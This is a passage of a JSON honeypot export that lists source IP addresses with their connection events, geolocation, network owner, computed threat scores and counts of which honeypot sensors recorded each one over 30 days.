        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 12,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T01:11:10+00:00",
        "last_seen_30d": "2026-05-21T00:54:37.314000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "65.49.1.89": {
      "attack_count": 4,
      "first_seen": "2026-05-24T14:47:19.439Z",
      "last_seen": "2026-05-24T14:47:23.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T09:19:16.022000+00:00",
        "last_seen_30d": "2026-05-30T02:58:50.681000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4
      }
    },
    "85.187.28.183": {
      "attack_count": 4,
      "first_seen": "2026-05-16T16:50:02.804Z",
      "last_seen": "2026-05-25T21:08:50.104Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Yambol",
      "asn": 8866,
      "as_org": "Vivacom Bulgaria EAD",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:50:02.804000+00:00",
        "last_seen_30d": "2026-05-25T21:09:57.305000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "91.230.168.110": {
      "attack_count": 4,
      "first_seen": "2026-05-13T00:58:47.343Z",
      "last_seen": "2026-05-13T00:58:57.850Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 23,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T09:53:11+00:00",
        "last_seen_30d": "2026-05-24T17:29:19.626000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 9,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "H0neytr4p": 1
      }
    },
    "43.134.23.124": {
      "attack_count": 3,
      "first_seen": "2026-05-29T21:00:24.728Z",
      "last_seen": "2026-05-29T21:01:30.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:00:24.728000+00:00",
        "last_seen_30d": "2026-05-29T21:02:33.233000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "109.58.212.133": {
      "attack_count": 2,
      "first_seen": "2026-05-30T13:49:00.656Z",
      "last_seen": "2026-05-30T13:49:12.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T13:49:00.656000+00:00",
        "last_seen_30d": "2026-05-30T13:50:13.573000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.245.141.253": {
      "attack_count": 2,
      "first_seen": "2026-05-20T15:08:58.516Z",
      "last_seen": "2026-05-20T15:09:15.736Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T15:08:58.516000+00:00",
        "last_seen_30d": "2026-05-20T15:10:17.629000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.42.228.90": {
      "attack_count": 2,
      "first_seen": "2026-05-17T15:58:00.381Z",
      "last_seen": "2026-05-17T15:58:13.959Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T15:58:00.381000+00:00",
        "last_seen_30d": "2026-05-17T15:59:14.362000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.199.129.143": {
      "attack_count": 2,
      "first_seen": "2026-05-10T17:47:38.070Z",
      "last_seen": "2026-05-10T17:47:51.842Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T17:47:38.070000+00:00",
        "last_seen_30d": "2026-05-10T17:48:52.285000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.254.1.68": {
      "attack_count": 2,
      "first_seen": "2026-05-31T16:32:01.370Z",
      "last_seen": "2026-05-31T16:32:31.964Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 24165,
      "as_org": "UNION BROADBAND NETWORK",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T16:32:01.370000+00:00",
        "last_seen_30d": "2026-05-31T16:33:32.532000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "123.144.45.223": {
      "attack_count": 2,
      "first_seen": "2026-05-25T03:46:07.876Z",
      "last_seen": "2026-05-25T03:46:21.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chongqing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:46:07.876000+00:00",
        "last_seen_30d": "2026-05-25T03:47:29.455000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.96.202.101": {
      "attack_count": 2,
      "first_seen": "2026-05-19T21:39:14.590Z",
      "last_seen": "2026-05-19T21:39:27.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:39:14.590000+00:00",
        "last_seen_30d": "2026-05-19T21:40:36.326000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.217.65.206": {
      "attack_count": 2,
      "first_seen": "2026-05-05T06:49:35.688Z",
      "last_seen": "2026-05-05T06:49:49.224Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cabiao",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:49:35.688000+00:00",
        "last_seen_30d": "2026-05-05T06:50:57.785000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.117.157.251": {
      "attack_count": 2,
      "first_seen": "2026-05-04T01:15:04.005Z",
      "last_seen": "2026-05-04T01:15:17.124Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Pujiang Xian",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:15:04.005000+00:00",
        "last_seen_30d": "2026-05-04T01:16:24.699000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.122.194.55": {
      "attack_count": 2,
      "first_seen": "2026-05-05T18:57:39.669Z",
      "last_seen": "2026-05-05T18:57:52.901Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:57:39.669000+00:00",
        "last_seen_30d": "2026-05-05T18:59:02.166000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.182.193.28": {
      "attack_count": 2,
      "first_seen": "2026-05-17T12:14:14.198Z",
      "last_seen": "2026-05-17T12:14:14.199Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1895,
        "days_active_30d": 15,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-12T16:56:31.656000+00:00",
        "last_seen_30d": "2026-05-26T18:12:22.060000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1305,
        "Redishoneypot": 230,
        "Honeytrap": 194,
        "Honeyaml": 65,
        "ElasticPot": 34,
        "Heralding": 33,
        "Tanner": 20,
        "Dionaea": 6,
        "H0neytr4p": 6,
        "Cowrie": 2
      }
    },
    "168.228.189.253": {
      "attack_count": 2,
      "first_seen": "2026-05-04T10:05:39.519Z",
      "last_seen": "2026-05-04T10:05:39.520Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cama\u00e7ari",
      "asn": 266020,
      "as_org": "ICLICK TELECOM",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:05:39.519000+00:00",
        "last_seen_30d": "2026-05-04T10:07:09.703000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.113.147.99": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:55:24.140Z",
      "last_seen": "2026-05-23T13:56:02.532Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:55:24.140000+00:00",
        "last_seen_30d": "2026-05-23T13:57:08.974000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.229.82.195": {
      "attack_count": 2,
      "first_seen": "2026-05-10T18:45:37.381Z",
      "last_seen": "2026-05-10T18:47:37.391Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 12400,
      "as_org": "Partner Communications Ltd.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:43:29.495000+00:00",
        "last_seen_30d": "2026-05-10T22:02:25.410000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "181.209.107.38": {
      "attack_count": 2,
      "first_seen": "2026-05-21T22:14:13.911Z",
      "last_seen": "2026-05-21T22:16:13.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Rosario",
      "asn": 52361,
      "as_org": "Empresa Argentina de Soluciones Satelitales S.A.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:14:13.911000+00:00",
        "last_seen_30d": "2026-05-21T22:26:59.134000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.19.195.8": {
      "attack_count": 2,
      "first_seen": "2026-05-08T23:08:05.221Z",
      "last_seen": "2026-05-08T23:08:18.276Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Quixer\u00e9",
      "asn": 28126,
      "as_org": "BRISANET SERVICOS DE TELECOMUNICACOES S.A",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T23:08:05.221000+00:00",
        "last_seen_30d": "2026-05-08T23:09:26.641000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.199.185.82": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:28:41.008Z",
      "last_seen": "2026-05-23T01:30:41.010Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Igua\u00e7u",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:28:41.008000+00:00",
        "last_seen_30d": "2026-05-23T01:41:46.687000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.111.150.21": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:29:53.574Z",
      "last_seen": "2026-05-05T20:30:06.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Veracruz",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:29:53.574000+00:00",
        "last_seen_30d": "2026-05-05T20:31:15.146000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "202.166.180.195": {
      "attack_count": 2,
      "first_seen": "2026-05-25T14:51:37.649Z",
      "last_seen": "2026-05-25T14:51:51.008Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "New Caledonia",
      "country_code": "NC",
      "city": "Noumea",
      "asn": 56089,
      "as_org": "OFFRATEL",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:51:37.649000+00:00",
        "last_seen_30d": "2026-05-25T14:52:53.072000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.27.185.63": {
      "attack_count": 2,
      "first_seen": "2026-05-12T19:55:40.743Z",
      "last_seen": "2026-05-12T19:55:53.866Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:55:40.743000+00:00",
        "last_seen_30d": "2026-05-12T19:56:59.676000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.191.34.248": {
      "attack_count": 2,
      "first_seen": "2026-05-04T16:28:58.307Z",
      "last_seen": "2026-05-04T16:29:10.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Caaguaz\u00fa",
      "asn": 273063,
      "as_org": "DAHMER MARIANO ROBERTO ADRIANO",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:28:58.307000+00:00",
        "last_seen_30d": "2026-05-04T16:30:19.965000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.198.151.115": {
      "attack_count": 2,
      "first_seen": "2026-05-02T11:56:34.662Z",
      "last_seen": "2026-05-02T11:56:46.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 327693,
      "as_org": "ECHO-SP",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:56:34.662000+00:00",
        "last_seen_30d": "2026-05-02T11:57:53.239000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.23.15.210": {
      "attack_count": 2,
      "first_seen": "2026-05-06T18:07:11.411Z",
      "last_seen": "2026-05-06T18:07:24.583Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Brooklyn",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T18:07:11.411000+00:00",
        "last_seen_30d": "2026-05-06T18:08:33.724000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.89.6.117": {
      "attack_count": 2,
      "first_seen": "2026-05-07T02:11:14.018Z",
      "last_seen": "2026-05-07T02:11:26.841Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:11:14.018000+00:00",
        "last_seen_30d": "2026-05-07T02:12:33.392000+00:00",
        "days_since_last_seen": 24
